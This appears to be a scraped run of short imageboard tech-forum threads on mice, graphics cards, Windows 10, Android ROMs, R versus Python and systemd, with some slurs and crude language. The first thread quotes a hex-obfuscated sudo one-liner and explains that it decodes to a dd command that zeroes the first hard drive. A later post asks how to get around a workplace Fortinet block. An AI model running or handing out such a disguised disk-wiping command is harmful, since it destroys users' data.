Someone please explain how this command works:
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
echo will output shit
| is a pipe, will chain shit
xxd is an utility that will do a hex dump
-r -p are arguments to xxd, will just take any hex, no info on lines spaces
so you a string "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" that gest send to xdd to decode from hex to ascii. once that is done echo will place it in front of sudo, allowing it to run with admin privileges on a linux system.
the string decodes to "dd if=/dev/zero of=/dev/sda count=100 bs=1M"
this will copy from dev/zero to dev/sda. dev/zero is literaly zero and sda is the first hard drive. so you will write zeros on the 1st drive from 1st to last byte essentially erasing it, partition table included.
1) sudo asks for root access.
2) bash evalueates the following expression.
3) bash runs the code encapsulated in $(...).
3.1) bash runsecho ...
3.2) bash pipes the result of the previous program toxxd -r - p.
3.3) xxd converts given string from hexadecimal back to normal text.
4) bash gets to run the encapsulated expression,dd if=/dev/zero of=/dev/sda count=100 bs=1Mwith root access.

I need your help /g i just got win 8.1 and amazon sent me 8.1 pro and this thing wont go away off my screen. Any idea on how to fix this?
Is the PMW-3366 sensor as good as people said ?
>many tech guys imply it's the best sensor ever (currently used in G502, G303 and G900)
>not waiting until these drop and then
>buy it now
>sort: price ascending
>buy first nonbroken 390 or 980 for cheaper than ant piss
Who's gonna stop me?
I was thinking about getting a 380 since they are going to be prety cheap soon, I can already see some auctions going for around 130-150ish usd, might wait and see.
R9 380 4gb should be fine for 1080p gayming, right?
Only question is if the r9 380 supports vulkan/dx12.
Will Windows 10 actually become a service? Will I have to pay monthly or yearly for Windows?
Is this all just a meem?
The day it becomes a service is the day I move permanently to Linux
Pretend I'm a retard (not that hard), explain a bit more in depth "software as a service" and how it relates to Win10
I thought Win 10 gets its money by having its store options show up every fucking time I do a search for a local file.
>have Note 3
>flash stock Rom with Odin
>expect it to completely reformat and delete all of my shit and completely have a new OS on it
>it simply updates and keeps all my old shit
Why the fuck is it doing this?
I thought it was supposed to completely reformat the phone?
>I have formatted my C drive
>omg why my data is still on my D and E drives
Is this the best language for Statistics?
No one uses S anymore. It is shit compared to R, and you have to pay for it.
The right answer for most things is Python/Pandas. R still has more packages, though. Python is just a better language, and has more stuff outside stats.
Hey /g i was wondering of you can help me out and watch youtube at work it is blocked by fortinet

How do you save the company?
>he uses a functional language without pattern matching
What's the point?
Should research into True AI be illegal?
In my opinion, true artificial intelligence is a dangerous abomination, and any attempts at creating it should be punishable by death.
FUNCTION(Input = string)
IF (length(string) == 1)
FUNCTION(input = string except for its first character)
print(first character of string)
END OF FUNCTION
This isn't Java but when you do this in Java it successfully prints the characters of the input string backwards.
So how does this work?
Latest cyanogen won't let me use any Google apps, and an error message constantly pops up telling me Google services has stopped, anyy one having the same problem or has a possible fix?
Error message I'm using a one plus one
Afraid I'm not using a 1+1 at the moment. Okay, so that is a CyanogenMod right, not CyanogenOS? Which version of the Google apps did you install? I hear that certain versions were borked on various ROMs and for compatibility etc..
For instance, did you use OpenGApps and if so what package etc.. ? Did you flash it via TWRP? Etc.. This may be a good question for someone at XDA Developers on the OnePlus One forums.
Is there a specific name for this mouse? I want to buy one, tired of gaming mouses. I just want simplicity, none of that DPI bullshit.
I used Debian GNU/Linux for many years. For nearly all of those many years I was very happy with it. It worked almost flawlessly, and I knew I could trust it. Then Debian decided to switch to systemd. I'm always willing to try new technology, since it might be better than what I'm currently using, so I went ahead and installed systemd during a routine update.
That was a huge mistake. I had to reboot my Debian system because the kernel was upgraded. For the first time ever I encountered a Debian installation that wouldn't boot properly. I found that systemd...
